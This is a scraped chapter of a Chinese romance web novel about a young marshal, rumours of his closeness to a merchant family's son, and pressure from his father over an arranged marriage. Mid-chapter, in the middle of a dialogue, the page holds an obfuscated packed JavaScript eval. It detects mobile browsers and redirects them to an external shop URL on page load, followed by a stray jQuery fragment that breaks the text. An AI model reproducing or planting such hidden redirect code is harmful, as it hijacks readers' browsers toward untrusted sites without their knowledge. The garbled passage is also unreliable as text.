文趣网 > 都市小说 > 青松暖阳 > 10. 第 10 章
    流言真正烧起来是在一场秋猎之后。

    入秋第二场宴,是城西周家办的围猎会。周家在军政两界不算最拔尖的门户,胜在交游广阔,与各方都沾着亲带故。

    围猎场设在城北十里外的缓坡上,杂木林混着稀疏的松柏,秋深了枫叶烧得漫山遍野的红,风吹过去像整座山坡在颤。这一日请了城里大半有头脸的人家,马匹、弓箭、野味,打完了就近支起帐篷烤肉喝酒,比正经宴席松快些,人也放得开。

    陆青松到的时候赵明宇已经牵了一匹枣红马在场子里遛了两圈。他远远看见陆青松骑马入场,勒了缰绳在道旁等了等,隔了十来步的距离躬身叫了声"少帅",脸上堆着殷勤的笑。

    陆青松略一点头从他身侧过了,马蹄踏过积了落叶的草地,压出一串松软的闷响。

    围猎开始后各人散进了林子。陆青松策马沿着坡脊走了一段,林间光线从枝叶缝隙间漏下来,落在马鞍和马靴上,明一块暗一块地跳动着。他没有刻意追猎物,只是沿着地势慢行,偶尔拉弓射一两只惊起的野兔,准头仍在,只是兴致不浓。

    林子里马蹄声交错来往,有人在远处吆喝着追一头鹿,喝声在树丛间回荡着。

    陆青松勒马停在一棵老枫树底下,弯腰从靴筒里摸出军用水壶喝了口水,正要重新收缰,听见林子侧前方有人声传来。

    "……赵兄方才说的事,当真亲眼见过?"

    "我亲眼没见着,可我底下的人见着了。车在顾家后街巷口停了快一个时辰,窗户开着又不下来,你说这叫什么事?一个少帅,有正正经经的未婚妻在商行里坐着,他跑去盯小少爷的窗户。"

    "那也不能说明什么吧,说不定是路——"

    "路什么路。上次医院里我还亲眼看着他拿巧克力出来呢,那个牌子全城就顾家小少爷从英国带回来那一批有。你见过陆少帅吃甜食?"

    笑声压得很低,带着一种夹在暧昧和猎奇之间的油滑。然后那声音继续往林子深处去了,马蹄声渐渐远了。

    陆青松勒着缰绳站在原地没动。

    枫叶从枝头落了一片正正好砸在他的肩章上,他低头看了一眼那片被霜染透了的红叶,抬手拈下来,搁在旁边的树枝上。马喷了个响鼻,甩了甩尾巴。

    他调转马头从另一条路出了林子。

    午后围猎结束,众人在坡下平地上架起了烤架。

    整只的鹿和野兔被串在铁钎上翻烤,油脂滴进炭火里滋啦啦地窜起一阵阵白烟,香气混着松木燃烧的焦苦味弥漫了整片空地。帐篷入口处摆了几张矮桌,酒坛子开了封,用竹勺舀着分到各人碗里,热热闹闹地传了一圈。

    陆青松坐在主位左侧的木墩子上,端着一碗酒慢慢喝。他没有脱手套,深色皮手套裹着修长的指节,握着粗陶碗的边沿,碗沿的热气蒸上来覆在皮面上凝成一层细密的水珠。

    他面上没什么表情,偶尔有人过来敬酒便举碗回一下,话不多,冷肃的气场压在那张脸上,像深秋山脊上一块冻透了的石头。

    赵明宇端着酒碗走过来时陆青松正低头看碗里残酒。赵明宇在他侧前方站定,笑吟吟地举了举碗:"少帅今日收获不少,那头鹿的角看着品相好。"

    陆青松抬眼看了他一下。

    日光从帐篷顶的缝隙里漏下来一条窄窄的金线,正正落在赵明宇的眼镜片上,反出一道刺目的光。陆青松把碗举起来,貌似礼貌性的示意了一下:"赵小少爷客气。"

    赵明宇喝了半碗酒,用袖口擦了擦嘴角,目光往四周扫了一圈,压低了声音凑过来:"少帅,这满场子的人,顾家怎么一个都没来?顾大小姐忙着商行的事不稀奇,顾家小少爷前些日子病了一场,不来也情有可原。不过……"他顿了顿,碗沿抵着下唇,含着一层半真半假的关切,"听说病得不轻,烧了几天呢,少帅可知道?"

    陆青松把空碗搁在桌面上。

    碗底碰木桌的那一声很轻,但赵明宇的话头被这一声截得刚刚好。陆青松没有接他的话,只是站起身来拍了拍手套上沾的草屑,朝场子中央走了两步,背对着他。

    "赵小少爷消息灵通。"他说。声音不高不低,裹着秋风的凉,听不出喜怒。

    赵明宇在他背后又笑了笑,那笑容挂在脸上像一张贴得不太服帖的纸。他端着酒碗退开几步重新融回人群里,和几个世家子弟凑到一处说了两句什么,几个人同时往陆青松的方向看了一眼,又同时收回了目光。

    陆青松没有回头。

    他站在场子边缘看着远处层叠的山脊,暮色正在从林梢最顶端开始漫下来,把枫叶的红压成了一片暗沉沉的赭色。他攥了攥手套里的手指,皮料摩擦着指节发出细微的革响。

    回城的路上陆青松骑马走在队伍末尾。常青跟在他身侧,面色踌躇了几回终于开口:"少帅,今日赵家那位……"

    "不用管他。"陆青松截了话头。马蹄踏在官道的碎石路面上,蹬蹬蹬的声调均匀而沉。他伸手理了理被风吹散的领口,指尖触到风纪扣的铜面,凉得他手指一缩。

    常青不再说话了,只是默默策马跟在他身后半个马身的位置上。主仆二人一前一后地走完了回城那段路,路过东城时陆青松的目光自然而然地向顾家商行的方向偏了一偏。商行的门已经关了,门板合得严严实实,只在门缝里透出极细的一线灯火。

    他收回目光策马过了。马蹄声在石板路上渐渐远成了一串回音。

    又过了两天,陆父的第二封信到了。

    这回没有火漆封口,而是直接由陆家老宅的一个管事当面送来的。管事四五十岁的年纪,穿了件灰绸长褂,站在督军府前厅里躬身递信,态度恭谨,语气却带着老家主亲自过问才会有的分量:"老帅说了,请少帅看过信后给个回话。"

    陆青松拆了信当着管事的面看了。信的内容比上回更直白:"前信已阅,未见回复。顾家那边我已着人递话过去议婚期,你莫再拖。陆家门风不容闲话玷污,你若还有些许做长子的担当,便早日把婚事办了。"

    他合上信纸抬头看向管事,面上仍是波澜不惊的冷。他把信纸折好收入袖中,对管事说:"回话给父亲,信已收悉。婚期之事容我再考量几日,待手头军务安顿妥当自会亲自回老宅面禀。"

    管事躬身退下了。

    前厅门关上之后陆青松在原地站了一会儿,低头看着自己握信的那只手。指节微微泛着白,折痕压在手心里一道深深的印。

    他回到书房把那封信和上一封并排放进公文簿里,合上簿子搁进书架中层。然后他坐回桌前,批了半个时辰的文书,批到一半忽然搁了笔,拉开抽屉摸了摸那个薄荷糖盒,空的。他合上抽屉,食指在桌面上无意识地画了两道弧。

    到了傍晚,常青进来报说外面有人送东西来了。

    他手里托着一个小纸包,白棉纸裹着,用细麻绳扎了个十字结,纸面上没留名字。陆青松接过来解开麻绳拆开纸包,里面是一小袋糖炒栗子,还冒着微温的热气,纸包最底下压了一张对折的便笺。

    他展开便笺,字迹圆润潦草,笔画往外撇着,和上回那张纸条一个模样:"我好了。栗子也是刚出锅的,趁热。你要是不吃我就站门口等你吃完。"

    陆青松攥着那张便笺看了两遍。纸面上还带着一丝若有若无的柑橘香,淡淡的,像是从什么衣料上蹭过来的。他把便笺折好放进抽屉最里面的夹层,和上回那张银杏叶书签的纸条搁在一处,两张纸并排贴着。

    然后他拿起那袋栗子,剥了一颗放进嘴里。

    还是热的,甜而绵软,栗肉在舌尖上化开,咽下去时喉间漫开一股暖烘烘的焦香。他剥了第二颗、第三颗,慢慢吃完了小半袋,把剩下的仔仔细细包好放在桌角。

    他没有出去。

    但第二日他去了商行。以公务的名义——军需被服的尺寸校对有些出入,需要找顾君澜当面核实。

    他坐在商行二楼会客室里翻着被服的样品册,等顾君澜从外头谈完事回来。

    等了大约一炷香的工夫,门被推开,进来的却是顾暖阳。

    少年穿了件米白色的圆领毛衣,领口翻出一截浅蓝衬衫的尖角,脸颊恢复了血色,整个人看着比病前瘦了一小圈,下巴尖了些,但那双眼睛亮得很。

    他推门看见陆青松时脚步顿了一下,随即弯起嘴角走过来,在陆青松对面的椅子上坐下,两只手搭在膝盖上,规规矩矩的。

    "你来办事?"他问。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17740114|209094||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    "等你姐。"

    "我姐去东街了,一时半会儿回不来。"顾暖阳歪了歪头,目光落在桌角那本样品册上,又移回陆青松脸上,"你昨晚收到栗子了?"

    陆青松"嗯"了一声。

    "好吃吗?"

    "嗯。"

    顾暖阳往前倾了倾身,胳膊肘撑在膝盖上,下巴搁在手背里仰脸看他。这个姿势让他整个人显得比实际年龄还要小几岁,软绵绵的一团米白色伏在桌子对面,只有眼珠亮晶晶地转着。他看了陆青松一会儿,忽然轻声说:"你瘦了。"

    陆青松的喉结动了一下。

    "你也是。"他说。

    顾暖阳怔了一瞬,然后那个笑慢慢从他眼底溢出来,像一盏灯被人拧亮了灯芯,光从最里面一层一层地往外透。他伸出手越过桌面,指尖在距离陆青松手背还有一寸的地方停住了,悬在那里不动,像一个问句在半空里等着回答。

    陆青松低头看着那只手。

    干净的、暖烘烘的,指尖还残留着病后微微的泛红。

    他把自己的手从样品册上移开,指腹贴上了桌面,离少年的指尖更近了些,近到几乎能感觉到那几根手指散发的温度。

    但他没有握住。

    两个人之间的桌面上,两只手隔着半寸的距离相对悬着,谁也没再往前。阳光从窗外斜照进来,正好落在两人手指中间那条窄窄的缝上,把缝隙里浮动的尘埃照得金光闪闪。

    "你爹给你写信了。"顾暖阳收回手,靠回椅背上,语气平缓,"我爹也找我谈过了。他说要我离你远些,别坏了陆顾两家的联姻大计。"

    "你怎么答的?"

    顾暖阳笑了笑。那个笑弧度不大,可里面有一种很稳的、定了主意之后才有的安然:"我说,联姻大计是我姐的事,跟她商量去。我的事我自己管。"

    陆青松看着他。窗外的光把少年的轮廓勾出了一圈柔和的边线,毛衣的绒毛在逆光里泛着一层细碎的光晕。他忽然觉得有一股什么力量在从他身体最深处往上顶,撑着他的脊梁骨,想要他站起来、走过去、把手伸出去——伸到对岸去,握住那只悬在桌面上的、温热的、执拗的、不知后退为何物的手。

    但他没有动。

    他听见走廊里传来脚步声,顾君澜的高跟鞋敲在木地板上"嗒嗒嗒"地近了。那股力量在最后一刻被他压了回去,压进胸腔最底下那个上了锁的木匣子里。

    门开了。

    顾君澜挟着一阵风走进来,手里捏着一沓单子,看见会客室里的两个人时挑了挑眉,什么也没说,只是把单子搁在桌上开始谈正事。尺寸校对核对完了便起身送客,陆青松拿了批复的册子下楼,顾暖阳没有跟出来送。

    他坐在原处,低头看着桌面。

    方才两人手指之间那条窄窄的日光缝已经移走了,落在了桌角那本样品册的封面上,暖融融的一小片。

    陆青松上了车。

    发动引擎之前他靠在驾驶座上闭了眼,指尖搭在方向盘上微微收紧。耳畔回响着少年方才那句"我的事我自己管",一遍又一遍的,像锤子敲在什么东西的表面上,把那层壳敲出了一道又一道细纹。

    他用指节抵了抵眉心。然后发动引擎,驶离了商行后街。

    车子拐上大路时他没有看见,商行二楼的窗边,顾暖阳正趴在窗台上往下看,下巴搁在手背上,目光追着那辆深色军车直到它在街尾拐弯处消失了。

    他看了一会儿,从口袋里掏出那个铁皮小盒拧开锁,把里面那张纸笺又看了一遍。"我不怕"三个字被他的指腹摩挲了太多遍,纸面的纤维起了毛,摸上去绒绒的。

    他把纸笺折好放回去锁上盖子,重新揣进口袋里。

    秋天的风从窗口灌进来卷起他额前的碎发,他眯了眯眼,窗外的梧桐叶子还在落,一片一片打着旋往下坠,落到地面上时发出极轻的"啪"声。

    远处,东城赵家院子的后门,一个灰布短打的伙计快步走进巷子深处。他手里攥着一封刚刚封好口的信,信封上没署名,只描了一个小小的暗记。

    风从巷口灌进来,把墙角堆积的落叶掀得哗哗作响。伙计把信揣进怀里紧了紧衣领,低头快步没入了暮色之中。